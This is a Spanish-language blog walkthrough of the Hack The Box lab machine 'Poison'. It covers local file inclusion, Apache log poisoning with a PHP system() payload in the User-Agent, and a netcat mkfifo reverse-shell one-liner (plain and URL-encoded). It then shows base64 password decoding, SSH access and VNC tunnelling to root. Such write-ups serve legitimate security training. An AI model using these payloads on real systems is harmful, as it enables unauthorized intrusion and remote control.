Avatar Blog Personal de K0Hack sobre Conceptos Hacking Etico // HTB // TryHackMe // Resumenes de Hacking // Herramientas para distintas tareas.

OSCP Path ~ Poison de Hack The Box (Necesario VIP)

Poison ~ Hack The Box to OSCP

Realizamos el Primer escaneo con Nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Lanzamos un pequeño fuzzing desde nmap:

# cat WebScan 
# Nmap 7.91 scan initiated Tue Jul 27 17:45:46 2021 as: nmap --script http-enum -p80 -oN WebScan 10.10.10.84
Nmap scan report for 10.10.10.84
Host is up (0.041s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /info.php: Possible information file
|_  /phpinfo.php: Possible information file

Procedemos a lanzar un whatweb:

# cat Whatweb 
http://10.10.10.84:80 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[FreeBSD][Apache/2.4.29 (FreeBSD) PHP/5.6.32], IP[10.10.10.84], PHP[5.6.32], X-Powered-By[PHP/5.6.32]

Procedemos a hechar un vistazo a la web Apuntamos a la web y vemos que es una pagina para testear scrips locales, no introducimos nada y presionamos el enter, nos saca que pide un archivo con atraves de variable file… probamos un LFI

 # curl -X GET "http://10.10.10.84/browse.php?file=../../../../../etc/passwd" 
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
_tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin
messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
"charix:*:1001:1001:charix:/home/charix:/bin/csh"

Enumeramos al user:charix y verificamos que tenemos un LFI. AHora procedemos a intentar pasasr el LFI a RCE buscando en la ruta /var/log/httpd-acces.log

 # curl -X GET "http://10.10.10.84/browse.php?file=/var/log/httpd-acces.log

Procedemos a injecctar codigo PHP en el User Agent ya que tenemos acceso a la ruta /var/log/httpd-access.log

 GET /browse.php?file=/var/log/httpd-access.log HTTP/1.1
Host: 10.10.10.84
"User-Agent: <?php system($_GET['cmd']); ?>                                              "
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Verificamos que en la respuesta del lado del servidor se este ejecutando nuestro codigo php

 </b>:  system(): Cannot execute a blank command in <b>/var/log/httpd-access.log </b>

Procedemos a hacer una peticion web de la siguiente forma:

curl -s -X GET "10.10.10.84/browse.php?file=/var/log/httpd-access.log&cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Y vemos que no nos funciona, asique procedemos a urlencodear el comando malicioso. Lo sustituimos en la anterior y procedemos a hacer la peticion.

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.0.0.1%201234%20%3E%2Ftmp%2Ff

Al ganar acceso al sistema, encontramos un archivo con una cadena en base64 encodeada como 13 veces minimo:

# cat decryp_password_bs64             
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=

Procedemos a montarnos un script para decodearlo a traves de un bucle:

#!/usr/bin/python3

from base64 import b64decode

pass_en = "cadena de arriba...azVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo="

for i in range(13):
        pass_en = b64decode(pass_en)

print(pass_en)

Ejecutamos el script para ver el output:

# python3 decrypt.py    
b'Charix!2#4%6&8(0'

Creamos un archivo de credenciales:

user charix
pass Charix!2#4%6&8(0

Ganando acceso por SSH

Con las credenciales obtenidas procedemos a intentar conectar por el servicio SSH

# ssh charix@10.10.10.84 

Accedemos correctamente al servicio SSH Enumeramos el directorio home de charix y nos pasamos el archivo secret.zip a nuestra maquina

charix@Poison:~ % ls
secret.zip      user.txt

Sacamos la flag de user.txt

charix@Poison:~ % cat user.txt 
eaacdfb2d141b72a58923xxxxxxxxxxxx

Escalada de privilegios

Procedemos a enumerar el sistema como siempre

charix@Poison:~ % ps -aux
root   529   0.0  0.9  23620  8868 v0- I    08:38    0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/p

Encontramos un servicio RDP de root Probamos a autenticarnos con un archivo al servicio RDP usando para ello vcnviewer

Unzipeamos el secret.zip ~ nos pide passwd ~ metemos la misma paswd de charix. Obtenemos un archivo secret que pinta no ser legible

Procedemos a tunelizar el puerto 5901 que es el servicio RDP atraves de ssh

ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84

Procdemos a conectarnos al servicio RDP usando vncviewer usando un archivo como contraseña

"# vncviewer 127.0.0.1:5901 -passwd secret                          "    
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding

Cnectamos correctamente y sacamos la flag de root.txt

Maquina Rooteada =)